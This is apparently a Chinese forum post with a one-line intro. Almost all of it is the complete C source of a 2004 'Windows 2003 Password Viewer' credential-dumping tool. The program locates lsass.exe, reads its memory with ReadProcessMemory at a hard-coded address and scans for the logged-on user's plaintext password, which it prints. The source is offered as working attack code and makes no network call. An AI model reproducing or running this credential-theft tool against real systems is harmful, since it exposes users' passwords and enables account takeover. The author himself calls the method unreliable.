用Winhex读取XP和2003下的Lsass进程的内存数据,可以读取当前登录用户的明文密码.
source code:
//********************************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: 12/15/2004
// Purpose: To Demonstrate Searching Logon User Password On 2003 Box,The Method
// Used Is Pretty Unwise,But This May Be The Only Way To Review The
// Logon User's Password On Windows 2003.
// Test PlatForm: Windows 2003
// Compiled On: VC++ 6.0
//********************************************************************************
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#define BaseAddress 0x002b5000 // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address,Which Causes The Result Unreliable
char Password[MAX_PATH] = {0}; // Store The Found Password
// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL FindPassword(DWORD PID);
int Search(char *Buffer,const UINT nSize);
DWORD GetLsassPID();
BOOL Is2003();
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration
int main()
{
DWORD PID = 0;
printf("Windows 2003 Password Viewer V1.0 By WinEggDrop\n\n");
if (!Is2003()) // Check Out If The Box Is 2003
{
printf("The Program Can't Only Run On Windows 2003 Platform\n");
return -1;
}
PID = GetLsassPID(); // Get The Lsass.exe PID
if (PID == 0) // Fail To Get PID If Returning Zerom
{
return -1;
}
FindPassword(PID); // Find The Password From Lsass.exe Memory
return 0;
}
// End main()
//------------------------------------------------------------------------------------
// Purpose: Search The Memory & Try To Get The Password
// Return Type: int
// Parameters:
// In: char *Buffer --> The Memory Buffer To Search
// Out: const UINT nSize --> The Size Of The Memory Buffer
// Note: The Program Tries To Locate The Magic String "LocalSystem Remote Procedure",
// Since The Password Is Near The Above Location,But It's Not Always True That
// We Will Find The Magic String,Or Even We Find It,The Password May Be Located
// At Some Other Place.We Only Look For Luck
//------------------------------------------------------------------------------------
int Search(char *Buffer,const UINT nSize)
{
UINT OffSet = 0;
UINT i = 0;
UINT j = 0 ;
UINT Count = 0;
if (Buffer == NULL)
{
return -1;
}
for (i = 0 ; i < nSize ; i++)
{
/* The Below Is To Find The Magic String,Why So Complicated?That Will Thank MS.The Separation From Word To Word
Is Not Separated With A Space,But With A Ending Character,So Any Search API Like strstr() Will Fail To Locate
The Magic String,We Have To Do It Manually And Slowly
*/
if (Buffer[i] == 'L')
{
OffSet = 0;
if (strnicmp(&Buffer[i + OffSet],"LocalSystem",strlen("LocalSystem")) == 0)
{
OffSet += strlen("LocalSystem") + 1;
if (strnicmp(&Buffer[i + OffSet],"Remote",strlen("Remote")) == 0)
{
OffSet += strlen("Remote") + 1;
if (strnicmp(&Buffer[i + OffSet],"Procedure",strlen("Procedure")) == 0)
{
OffSet += strlen("Procedure") + 1;
if (strnicmp(&Buffer[i + OffSet],"Call",strlen("Call")) == 0)
{
i += OffSet;
break;
}
}
}
}
}
}
if (i < nSize)
{
ZeroMemory(Password,sizeof(Password));
for (; i < nSize ; i++)
{
if (Buffer[i] == 0x02 && Buffer[i + 1] == 0 && Buffer[i + 2] == 0 && Buffer[i + 3] == 0 && Buffer[i + 4] == 0 && Buffer[i + 5] == 0 && Buffer[i + 6] == 0)
{
/* The Below Code Is To Retrieve The Password.Since The String Is In Unicode Format,So We Will Do It In
That Way
*/
j = i + 7;
for (; j < nSize; j += 2)
{
if (Buffer[j] > 0)
{
Password[Count++] = Buffer[j];
}
else
{
break;
}
}
return i + 7; // One Flag To Indicate We Find The Password
}
}
}
return -1; // Well,We Fail To Find The Password,And This Always Happens
}
// End Search
//------------------------------------------------------------------------------------
// Purpose: To Get The Lsass.exe PID
// Return Type: DWORD
// Parameters: None
//------------------------------------------------------------------------------------
DWORD GetLsassPID()
{
HANDLE hProcessSnap;
HANDLE hProcess = NULL;
PROCESSENTRY32 pe32;
DWORD PID = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
printf("Fail To Create Snap Shot\n");
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if( !Process32First(hProcessSnap, &pe32))
{
CloseHandle(hProcessSnap); // Must clean up the snapshot object!
return 0;
}
do
{
if (strcmpi(pe32.szExeFile,"Lsass.EXE") == 0)
{
PID = pe32.th32ProcessID;
break;
}
}while(Process32Next( hProcessSnap, &pe32));
CloseHandle( hProcessSnap);
return PID;
}
// End GetLsassPID()
//------------------------------------------------------------------------------------
// Purpose: To Find The Password
// Return Type: BOOLEAN
// Parameters:
// In: DWORD PID -> The Lsass.exe's PID
//------------------------------------------------------------------------------------
BOOL FindPassword(DWORD PID)
{
HANDLE hProcess = NULL;
char Buffer[5 * 1024] = {0};
DWORD ByteGet = 0;
int Found = -1;
hProcess = OpenProcess(PROCESS_VM_READ,FALSE,PID); // Open Process
if (hProcess == NULL)
{
printf("Fail To Open Process\n");
return FALSE;
}
if (!ReadProcessMemory(hProcess,(PVOID)BaseAddress,Buffer,5 * 1024,&ByteGet)) // Read The Memory From Lsass.exe
{
printf("Fail To Read Memory\n");
CloseHandle(hProcess);
return FALSE;
}
CloseHandle(hProcess);
Found = Search(Buffer,ByteGet); // Search The Password
if (Found >= 0) // We May Find The Password
{
if (strlen(Password) > 0) // Yes,We Find The Password Even We Don't Know If The Password Is Correct Or Not
{
printf("Found Password At #0x%x -> \"%s\"\n",Found + BaseAddress,Password);
}
}
else
{
printf("Fail To Find The Password\n");
}
return TRUE;
}
// End FindPassword
//------------------------------------------------------------------------------------
// Purpose: Check If The Box Is Windows 2003
// Return Type: BOOLEAN
// Parameters: None
//------------------------------------------------------------------------------------
BOOL Is2003()
{
OSVERSIONINFOEX osvi;
BOOL b0sVersionInfoEx;
ZeroMemory(&osvi,sizeof(OSVERSIONINFOEX));
osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);
if (!(b0sVersionInfoEx=GetVersionEx((OSVERSIONINFO *)&osvi)))
{
osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
}
return (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2);
}
// End Is2003()
// End Of File
